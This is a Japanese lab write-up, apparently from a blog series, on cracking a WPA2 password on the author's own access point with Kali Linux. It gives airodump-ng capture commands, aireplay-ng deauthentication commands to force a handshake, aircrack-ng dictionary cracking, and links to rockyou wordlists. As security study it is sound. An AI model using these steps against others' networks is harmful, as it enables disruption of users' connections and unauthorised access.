Kali Linux2022.1 でハッキングラボをつくってみる9 無線LANへのハッキング8 WPA2のパスワード解析

# はじめに
「ハッキング・ラボのつくりかた」p.559-568を参考に、kaliLinux2022.1で検証してみた記事です。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::
# WPAの解析アプローチ
WPAでは、各パケットが一意性があり、かつ一時的な鍵で暗号化されているので、大量のパケットを収集して解析するというアプローチでは解析が難しい。
APと機器の接続が確立するときに、4-way handshakeというやり取りが行われる。4-way handshakeの認証データはWPAのパスワード、ESSID,両者のMACアドレス,ノンス（疑似乱数）などをハッシュ化して生成される。そのパケットをキャプチャして、WPAのパスワードの復元を目指す。

# 解析
4-way handshakeの認証データを多くキャプチャしたい場合、何回もAPと機器の接続を遮断する。両者は再接続を図ろうとするため、認証データを数多く得ることができる。このアプローチは、APに接続している、または接続しようとするKaliLinux以外の機器がないと、利用できない。

**APの設定**

| 項目 | 値 |
| ---- | -- |
| ESSID | *** |
| WPA2-PSK | AES |
| パスワード(WPAキー) | 87654321 |

ESSIDは、普段遣いのため伏せ字にした。
事前に、wifiアダプタをmonitorモードにしておく。

## ターゲットのAPを探す。
```
sudo airodump-ng wlan0
```
**このときに、APのBSSID,接続しているターゲット機器のMACアドレスを控えておく。**

## 辞書ファイルの作成
キャプチャファイルのパスワードの解析は、辞書攻撃で行う。
辞書攻撃で使う辞書を事前に準備しておく。（正答も辞書に挿れておくこと）
キャプチャファイルのディレクトリも同時に作っておく。
```
mkdir wpa2
cd wpa2/
cat > dic.txt
aaaa
12345678
87654321
test
john
^C
//Ctrl+cで終了
```
辞書ファイルをダウンロードしても良い。
- rockyou
https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
- wpa2-wordlists
https://github.com/kennyn510/wpa2-wordlists
- rockyou2021
https://github.com/ohmybahgosh/RockYou2021.txt

## キャプチャファイルの生成
```
sudo airodump-ng --bssid <APのBSSID> --channel <APが使用しているチャンネル> --write wpa2handshake wlan0
```
--writeオプションで、キャプチャファイルを生成する。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64 のリンククローン_05_06_2022_13_10_19_fixed.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/67d0d0b2-e272-620c-c530-a35a434dd7d1.png)

もし、実行画面右上に、"fixed channel wlan0: 1"と出る場合には、前述のコマンドを終了させて、
```
sudo iwconfig wlan0 channel <APが使用しているチャンネル>
```
を実行すると、一時的な対処になる。その後、再度airodump-ngを行う。

:::note
このエラーについて、検索を掛けると、結構ヒットする。同じエラーに悩まされている人が多いのだろう。
:::

## ターゲット端末の切断
別に端末を立ち上げて、次のコマンドを実行する。
無線LANネットワークからターゲット機器が切断される。
```
sudo aireplay-ng --deauth 10 -a <APのBSSID> -c <ターゲット機器のMACアドレス> wlan0
//または
sudo aireplay-ng -0 10 -a <APのBSSID> -c <ターゲット機器のMACアドレス> wlan0
```
airodump-ngに戻ると、右上に"WPA handshake"と表示されている。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64 のリンククローン_05_06_2022_13_48_32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/b33cd736-d33f-205b-05e4-bfd2cf0a954f.png)
![VirtualBox_kali-linux-2022.1-virtualbox-amd64 のリンククローン_05_06_2022_13_47_58_deauth.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/fa2e968d-cbcf-7388-0acc-2656cebfc21e.png)

## 解析
同書p.565より
> 4-way handshakeの認証データからPTKが得られます。一方、候補となるキーから、ESSID、4-way handshakeのノンス、MACアドレスといった情報を使ってPTKを生成します。よって、前者のPTKと後者のPTKが一致すれば、それがターゲットAPが保持しているWPAと判明します。

さらに、別に端末を立ち上げて、次のコマンドを実行する。
```shell-session:/home/kali/wpa2/
aircrack-ng wpa2handshake-01.cap -w dic.txt -e <APのESSID>
```
解析成功
![VirtualBox_kali-linux-2022.1-virtualbox-amd64 のリンククローン_05_06_2022_13_47_06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/ba8d8064-285c-ef50-067a-be5fe200f205.png)


# おわりに
WEPのパスワード解析と同じように、キャプチャ担当、工作担当、解析担当の計３つのコマンドを同時に実行することで、パスワード解析が可能になる。

参考にしたもの
「ハッキング・ラボのつくりかた」

https://askubuntu.com/questions/191819/how-to-change-wlan0s-channel

https://superuser.com/questions/1396556/how-to-fix-airodump-ng-continuously-changing-channels-on-kali-linux